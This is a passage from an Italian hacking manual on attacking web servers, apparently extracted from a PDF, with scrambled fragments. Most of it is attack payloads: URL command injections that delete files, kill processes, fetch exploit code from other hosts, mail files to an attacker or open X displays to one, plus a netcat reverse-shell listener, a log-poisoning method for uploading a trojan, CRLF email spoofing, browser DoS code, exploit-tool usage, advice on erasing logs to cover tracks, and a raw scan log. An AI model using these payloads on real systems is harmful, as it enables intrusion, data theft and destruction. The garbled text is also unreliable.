http://host/cgi-bin/lame.asp?name=john`;EXEC master.dbo.xp_cmdshell'cmd.exe dir c:'-I caratteri " #, {} , ^ , e [] "possono anche loro essere utilizzati.
http://host/dont.pl?ask=/bin/echo%20"#!/usr/bin/perl%20stuff-that-binds-a-backdoor"%20>/tmp/back.pl;/usr/bin
/perl%20/tmp/back.pl%20-p1099

I caratteri ( e ) vengono usati per la creazione di sringhe con file PHP.


http://host/index.php?stupid=< img%20src=javascript:alert(document.domain)>

Il carattere + lo vedremo nel capitolo in cui parleremo esplicitamente dellUNICODE BUG in


quanto viene utilizzato per la composizione delle stringhe.
http://site/scripts/root.exe?/c+dir+c:\
I comandi pi conosciuti che potrebbero essere eseguiti sono :
"/bin/ls"
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
In ambiente windows un comando sicuramente :
"cmd.exe"
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\
"/bin/id"
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"

Si tratta del comando Unix per la rimozione di files.


http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
"wget e tftp"
Questi sono ache I comandi usati da virus come Nimbda.
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
"cat"
E lequivalente del comando type sotto Unix.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
"echo"
Il comando viene anche utilizzato abbinato con i caratteri di redirezione per la creazione di
files.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

"ps"
Si tratta del comando PRINT STATUS di Unix che mostra lo stato dei processi.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
"kill e killall"
Serve a killare un processo o tutti I processi sotto Unix.
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
"uname"
Richiede il nome host.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python"
Anche I linguaggi possono essere utilizzati allinterno delle stringhe di comando passate
tramite URL.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
"mail"

Questo uno dei gestori email sotto Unix.


http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu2.6.1.c;
"xterm/altre X application"
I comandi di questo tipo possono essere utilizzati per guadagnare una shell.
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
"chown, chmod, chgrp, chsh"
Anche questi comandi possono avere un utilizzo.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
Fino a questo punto abbiamo visto i comandi eseguibili che possono essere lanciati
sfruttando dei problemi esistenti con la compilazione di certe URL.
In questo caso invece vediamo i files che potrebbero essere richiesti.
"/etc/passwd"
Si tratta del file password di Unix.
"/etc/shadow"
Questo invece il file che contiene le password crittografate sotto Unix.
"/etc/inetd.conf"
Si tratta del file di configurazione dei servizi inetd.
".htpasswd, .htaccess, e .htgroup"
Sono I files di autenticazione usati da WEB Server come Apache.
"[drive-letter]:\winnt\repair\sam._ o [drive-letter]:winnt\repair\sam"
Il file della password hashate di Windows.
In altri casi le stringhe passate come URL possono servire a creare degli Overflow.
http://host/cgi-bin/helloworld?
type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Con NETCAT o con TELNET possono essere usate delle tecniche legate a degli header
modificati.
Esempio 1:
su-2.05# telnet localhost 80
Trying 127.0.0.1...

Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <!--#virtual include="somefile.log"-->
spelt wrong)
User-Agent: <!--#exec cmd="/bin/id"-->

(Yes Referrer is

In questo caso lattaccante inserisce un TAG SSI dentro ai campi Referrer e User agent
Esempio 2:
su-2.05# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: < javascript-that-is-evil-so-there's-no-need-for-examples>
User-Agent: </html>
I caratteri possono essere anche specificati in formato esadecimale.
Il modo di specificarli :
Esempio: %xx
%2e = . (Example:
%3e = > (Example:
%3c = < (Example:
%2a = * (Examples
%2b = + (Example:
%60 = ` (Examples
%21 = ! (Example:
%7c = | (Example:
%3b = ; (Example:
%7e = ~ (Examples
%3f = ? (Example:
%5c = \ (Example:
%2f = / (Example:
%7b = { (Example:
command argument)
%7d = } (Example:
command argument)
%28 = ( (Example:
%29 = ) (Example:
%5b = [ (Example:
command argument)
%5d = ] (Example:
command argument)
%5e = ^ (Example:
command argument)

.. requests)
Html/Javascript/SSI insertion. Mentioned in last paper)
Html/Javascript/SSI insertion. Mentioned in last paper)
Listed in chapter 2 of this paper)
cmd.exe backdoor request. Also used as space)
Command execution. Mentioned in last paper)
SSI insertion. Mentioned in last paper)
Command execution. Mentioned in last paper)
Command execution. Mentioned in last paper)
Listed in chapter2 of this paper)
Php/Mentioned in last paper)
Possible Encoded Windows Directory Transversal Attempt)
Possible Encoded Unix Directory Transversal Attempt)
Possible trojan/backdoor upload attempt, possible
Possible trojan/backdoor upload attempt, possible
Possible Cross Site Scripting attempt)
Possible Cross Site Scripting attempt)
Possible trojan/backdoor upload attempt, possible
Possible trojan/backdoor upload attempt, possible
Possible trojan/backdoor upload attempt, possible

Esempio:
http://host/script.ext?template=%2e%2e%2f%2e%2e%2f%2e%2e%2f
%65%74%63%2f%70%61%73%73%77%64
Esiste un equivalenza come ad esempio :
1.
2.
3.
4.

%2e%2e%2f%2e%2e%2f%2e%2e%2f = ../../../
%65%74%63 = etc
%2f = /
%70%61%73%73%77%64 = passwd

Il metodo usato da UNICODE invece :

Esempio: %xx%xx
http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd.exe?+/c+dir+c:\

"%u" Encoded Requests


Esempio: %uxxxx
La richiesta :
http://host/lame.asp?asp=a.txt
potrebbe essere data come
http://host/lame.asp?asp=%u0061.txt

Guadagnare laccesso a livello di ROOT con PHP


Una delle maggiori vulnerabilit di Windows coinvolge il linguaggio PHP mediante il quale
possibile riuscire a vedere dei files che sono residenti al di fuori delle normali directory dei
files HTML di un WEB.
Il server deve avere PHP 4 e Apache 2.0.
Supponiamo che apache sia installato nella directory :
C:\APACHE
Mentre PHP nella directory :
C:\PHP\PHP.EXE
A questo punto dal browser digitiamo :
http://www.example.com/<?%20system('thecommandtoexecutewithpath');%20?>

Apache aggiunge questa linea al file access.log.


E possibile richiedere la visualizzazione di questo file di log mediante :
http://www.example.com/php/php.exe?c:\apache\logs\access.log
Il modo di guadagnare laccesso di root eseguito chiedendo al webserver di eseguire un
reverse telnet verso il vostro server eseguendo netcat nel seguente modo:
"nc -l -n -v -p "
Vediamo come uplodare un file mediante lexploit.
Creiamo un file di testo con alcune linee dentro chiamato mytesfile.txt
Controlliamo quanti bytes il file di dimensioni
Testaimo che il file sia accessibile tramite il nostro webserver mediante
http://nostroweb/mytestfile.txt
Cerchiamo il file sul server digitando :

http://www.example.com/mytestfile.txt
Eseguiamo questa richiesta 4 volte anche se il server non sembrer darci nulla.
Fate attenzione a non premere REFRESH se no il metodo non funziona.
Battiamo al richiesta sulla linea di comando del nostro browser.
http://www.example.com/<?$fp=fopen("http://nostroweb/mytestfile.txt"," rb");?>

Ora attendiamo 10 secondi e digitiamo nuovamente :


http://www.example.com/<?$contents=fread($fp,[DIMENSIONI_DEL_NOSTRO_FILE]);?>

Attendiamo nuovamente 10 secondi e battiamo :


http://www.example.com/<?$fq=fopen("c:/Apache2/htdocs/mytestfile.txt","wb");?>

Aspettiamo ancora 10 secondi e poi :


http://www.example.com/<?fwrite($fq,$contents);?>

Altri 10 secondi e poi richiediamo un file che non esiste:


http://www.example.com/nonexistantfile.htm
I soliti 10 secondi e poi rchiediamo a PHP di parserizzare il file di LOG di Apache.
http://www.example.com/php/php.exe?c:\apache2\logs\access.log
Ora premiamo il refresh per essere sicuri che il file sia perserizzato.
A questo punto controlliamo se il file presente sul sito con :
http://www.example.com/mytestfile.txt
Chiaramente questo file un semplice file di testo ma potrebbe essere un qualsiasi file
compreso un trojan.
Avendo la possibilit di uplodare su di un sito un file con estensione .gif, .mp3 (nel nostro
caso huf.gif) o altro contenente :

#-----------<?
phpinfo();
?>
#-----------Un attaccante potr eseguire linterprete PHP con :
http://www.example.com/php/php.exe/UPLOAD_DIRECTORY/huh.gif
Sempre in relazione a PHP possibile sapere la struttura relativa allinstallazione del EB
SERVER.
Quando un amministratore installa Apache con PHP e aggiunge index.php al file di
configurazione di Apache, questo prima guarda questo file nellistante in cui invia indietro la
pagina web di default per quella directory.
Inviando una richiesta OPTIONS al WEB Server questo rivela la struttura delle directory di
PHP.
Inviando :
OPTIONS / HTTP/1.1
Host: 192.168.1.2
Accept: */*
Riceverete :
HTTP/1.1 500 Internal Server Error
Date: Sun, 03 Feb 2002 10:56:53 GMT
Server: Apache/2.0.28 (Win32)
Vary: accept-language

Accept-Ranges: bytes
Content-Length: 680
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Server error!</TITLE>
<LINK REV="made" HREF="mailto:admin@192.168.1.2">
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000CC">
<H1>Server error!</H1>
<DL>
<DD>
handler "cgi-script" not found for: C:/php/php.exe
</DL><DL><DD>
If you think this is a server error, please contact
the <A HREF="mailto:admin@192.168.1.2">Webmaster</A>
</DL>
<H2>Error 500</H2>
<DL>
<DD>
<ADDRESS>
<A HREF="/">192.168.1.2</A>
<BR>
<small>02/03/02 10:56:53</small>
<BR>
<small>Apache/2.0.28 (Win32)</small>
</ADDRESS>
</DL>
</BODY>
</HTML>
Chiaramente fino ad adesso abbiamo parlato di qualche cosa che di fatto non pu essere
definita una regola che pu essere applicata a qualsiasi WEB.
Daltra parte il discorso dei WEB segue esattamente quello generale dellhacker ovvero quello
che spinge a cercare i punti deboli di un sistema con tutti gli strumenti a disposizione.
Tra i vari tools che possono essere utilizzati per testare la presenza di determinati problemi
dentro ad un sito specifico c WEBCHK il quale dispone di diverse scelte orientate
allesecuzione di test nei confronti di CGI.
Il programma prelevabile da :
http://www.illegalcrew.org
Il software dispone di possibilit di parametrizzazione anche se di fatto i test devono essere
fatti individualmente.
Nella finestra superiore viene visualizzata la risposta del WEB sottoposto allinvio della stringa
di prova anche se la dialog visualizza gi un messaggio in cui viene detto se il web di fatto
soggetto a quel problema o meno.
Limmagine che segue mostra la dialog di lavoro di WEBCHK.

FrontPage
Molti exploit collegati a FrontPage hanno come scopo quello di permettere laccesso alla
directory wwwroot directory e quindi possono essere usati per cambiare la pagina principale
di un sito.
La seguente lista mostra la struttura di alcuni files di IIS relativamente ad un ipotetico disco C:
C:\InetPub\wwwroot
<Home>
C:\InetPub\scripts
/Scripts
C:\InetPub\wwwroot\_vti_bin
/_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm
/_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut
/_vti_bin/_vti_aut
C:\InetPub\cgi-bin
/cgi-bin
C:\InetPub\wwwroot\srchadm
/srchadm
C:\WINNT\System32\inetserv\iisadmin
/iisadmin
C:\InetPub\wwwroot\_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM
Internet Information Index
Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin

Utilizzando FRONTPAGE un hacker potrebbe alterare I files HTML di un sito remoto in


quanto spesso i WEB FrontPage sono lasciati senza password.
Nel menu file dellexplorer di FrontPage selezionate Open FrontPage Web.
Nella dialogbox selezionate Open an Existing FrontPage Web e quindi scegliete anche il web
interessato.
Clickate More Webs se il web desiderato non listato.
Clickate OK.
Se vi viene richiesto il nome dellautore e della password allora dovrete decriptare
service.pwd.
Lo scanning della PORTA 80 (http) o 443 (https) possono indicare:
GET /_vti_inf.html
#Assicurare che le estensioni di FrontPage sono
installate.
GET /_vti_pvt/service.pwd
#Contiene le password codificate (Non usato in IIS)
GET /_vti_pvt/authors.pwd
#Sui servers Netscape. Nomi e password criptate
GET /_vti_pvt/administrators.pwd
GET /_vti_log/author.log
#Se author.log esiste allora dovrete cancellarlo per
coprire le tracce
GET /samples/search/queryhit.htm

Lutilizzo di alcuni motori di ricerca potrebbe portarci ad individuare la presenza di


service.pwd.
Per fare questo sufficiente digitare il nome del file nel campo delle voci da ricercare.

Un tentativo che possibile fare indirizzato a vedere se mediante il servizio FTP possibile
scaricare il file.

Email Spoofing
Come abhbiamo detto prima alcuni tipi di problemi dipendono dai linguaggi utilizzati sui WEB
server come ad esempio ASP.
Ne un esempio lemail spoofing legato alluso delle funzioni ASP per linvio di messaggi
Email. tramite CDONTS.NEWMAIL
Infatti moltissime installazioni IIS utilizzano questo oggetto per laddempimento di funzionalit
dinvio di messaggi.
Questo oggetto pu essere utilizzato da un attaccante per inviare messaggi in modo arbitrario
tramite WEB server.
ASP utilizza loggetto CDONTS.NEWMAIL.nel seguente modo :
<%
set objNewMail = CreateObject("CDONTS.Newmail")
objNewMail.From = "newsletter@company.com"
objNewMail.To = Request.QueryString("email")
objNewMail.Subject = "NEWSLETTER"
objNewMail.Body = "Please find attached the newsletter."
objNewMail.AttachFile "c:\newsletter.txt", "mailatt.txt"
objNewMail.Send
%>
La prima linea crea loggetto CDONTS.NEWMAIL mentre le altre settano I parametri relativi
alle propriet utilizate per linvio del messaggio.
Come potete vedere dal codice di prima i parametri vengono letti mediante delle funzioni ASP
del tipo Request.QueryString("email") per cui presupponibile che per linvio di una nuova
email lutente attivi un URL nel seguente modo :
http://www.company.com/newsletter.asp?email=david@ngssoftware.com
I valori verranno settati allinyterno dei parametri nel seguente modo :
..
mail from: newsletter@company.com
rcpt to: david@ngssoftware.com
data
Subject: NEWSLETTER
..
..
e quindi lemail viene inviata.
Tutta via se si provasse a inviare :
http://www.company.com/newsletter.asp?email=victim@spoofed.com%0D%0Adata%0D%0ASub
ject:%20Spoofed!%0D%0A%0D%0AHi,%0D%0AThis%20is%20a%20spoofed%20email%0D%0
A.%0D%0Aquit%0D%0A

La creazione dei parametri sarebbe :


..
..
mail from: newsletter@company.com
rcpt to: victim@spoofed.com
data
Subject: Spoofed!
Hi,
This is a spoofed e-mail
.

quit
In questo modo un email verrebbe inviata tramite loggetto NEWMAIL
In alcuni casi potrebbe essere il WEB a creare problemi agli Internet Explorer di chi ci naviga
sopra.
Ad esempio il TAG che segue crea un Denaial of Service (Dos) a chi ci naviga sopra (fate
attenzione che sde riportate il codice dentro ad una pagina WEB per dimostrazione sostituite
la I di IMG con qualche altra lettera per non fare in modo che chi legge la pagina venga
colpito dallattacco DOS):
<img
src==}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}
o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}
o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
>

Un altro DOS attack quello che segue, sempre indirizzato ad Internet Explorer.

<form name="form"><input type="text" name="box"><form>


<script language="javascript">
while(true) { document.form.box.value=document.form.box.value + ''; }
</script>
Dai files di LOG dei WEB SERVER possibile raccogliere informazioni legate alle
metodologie di scanning.
Alcune di queste stringhe le abbiamo gi viste durante i copitoli legati a UNICODE BUG e
MSADC.
Il seguente exploit viene usato con la sintassi chge segue.
./iis-kabom -t www.victim.vic
./iis-kabom -t www.victim.vic -p proxy:port
./iis-kabom www.victim.vic comand variant_number
./iis-kabom -p proxy:port www.victim.vic comand variant_number
Options:

-t --> Test the vulnerability (Try known variants till find the good one)
-p --> Attack through proxy

69warp87.newtel.com - - [14/Aug/2001:12:56:16 -0400] "QUIT" 501 69warp87.newtel.com - - [14/Aug/2001:13:06:18 -0400] "QUIT" 401 69warp87.newtel.com - - [14/Aug/2001:13:07:35 -0400] "GET
/n0nexi5tent_fi1e.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:35 -0400] "GET
/n0nexi5tent_fi1e.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET / HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET /%2E%2E/%2E%2E/%2E
%2E/%2E%2E/%2E%2E/etc/group
HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET /%2E%2E/%2E%2E/%2E
%2E/%2E%2E/%2E%2E/winnt/win.ini
HTTP/1.0" 400
375
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET
/../../../../../etc/group HTTP/1.0" 400 351
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET
/../../../../../winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET
/../../../../..winnt/win.ini HTTP/1.0" 400 354
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400]
"GET /.../.../.../.../.../etc/group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400]
"GET /.../.../.../.../.../winnt/win.ini HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET
/../../../../../etc/group HTTP/1.0" 400 351
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET
/../../../../../winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET /cgibin/webdist.cgi?distloc=;/bin/cat%20/etc/group
HTTP/1.0" 40
4 284
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgi-bin/campas?
%0acat%0a/etc/group%0a HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgibin/htmlscript?../../../../../../etc/group
HTTP/1.0" 404 28
3
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgibin/php.cgi?/etc/group HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgibin/pfdispaly?../../../../../../etc/group
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgibin/pfdispaly.cgi?../../../../../../etc/group
HTTP/1.0" 404
286
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/viewsource?../../../../../../etc/group
HTTP/1.0" 404 2
84
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/htsearch?
exclude=%60/etc/group%60 HTTP/1.0" 404
281
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET
/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/g
roup HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgibin/faxsurvey?/bin/cat%20/etc/group HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgibin/counterfiglet/nc/f=;cat%20/etc/group
HTTP/1.0" 404 307

69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgibin/calendar_admin.pl?config=|cat%20/etc/group|


HTTP/1.0" 4
04 290
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/group| HT
TP/1.0" 404 299
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/group%00 HTTP
/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/grou
p HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:07:42 -0400] "GET
/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../et
c/group HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:43 -0400] "GET /cgi-bin/htgrep?
file=index.html&hdr=/etc/group
HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:43 -0400] "GET
/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../..
/../../etc/group%00 HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:43 -0400] "GET
/search97cgi/vtopic?action=view&ViewTemplate=../../../../../etc/
group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgibin/multihtml.pl?multi=/etc/group%00html
HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/query?
mss=../config HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/ssi//%2e
%2e/%2e%2e/%2e%2e/%2e%2e/etc/group
HTTP/1.0" 40
0 377
69warp87.newtel.com - - [14/Aug/2001:13:07:44 -0400] "GET /cgi-bin/webplus?
script=/../../../../etc/group
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:45 -0400] "GET /cgibin/webplus.exe?script=/../../../../etc/group
HTTP/1.0" 404
284
69warp87.newtel.com - - [14/Aug/2001:13:07:45 -0400] "GET /cgibin/webplus.cgi?script=/../../../../etc/group
HTTP/1.0" 404
284
69warp87.newtel.com - - [14/Aug/2001:13:07:45 -0400] "GET
/cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20Content-Type
:%20text%2Fhtml%3Becho%20%20%3B%20cat%20%2Fetc%2Fgroup%00 HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /cgibin/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 404
286
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /cgibin/bbs/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0"
404 290
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /cgi-bin/man-cgi?
%20/etc/group%20 HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:46 -0400] "GET /opendir.php?
requesturl=/etc/group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4
vZXRjL2dyb3VwAAo HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/cgi-bin/talkback.cgi?article=../../../../../etc/group%00&action
=view&matchview=1 HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET /cgibin/cal_make.pl?p0=../../../../../etc/group%00

HTTP/1.0" 40
4 284
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/group HTTP
/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/test-cgi
HTTP/1.0" 403 285
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgibin/dumpenv.pl HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/nph-testcgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:49 -0400] "GET /cgibin/wwwboard.pl HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:52 -0400] "GET /cgibin/wwwboard.cgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:52 -0400] "GET /cgi-bin/wwwboard
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap.pl
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap.cgi
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/finger
HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/finger.pl
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgibin/finger.cgi HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/phf
HTTP/1.0" 302 290
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/handler
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/info2www
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgibin/textcounter.pl HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/glimpse
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/aglimpse
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/webgais
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/www-sql
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgibin/websendmail HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/jj
HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/count.cgi
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgibin/imagemap.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /catinfo HTTP/1.0"
401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "/cgibin/saint_test_cgi HTTP/1.0" 400 69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /cgi-bin/csh
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /cgi-bin/bash
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/zsh
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/ash
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/ksh
HTTP/1.0" 404 276

69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET


HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:08:00 -0400] "GET
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:08:00 -0400] "GET
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:08:00 -0400] "GET
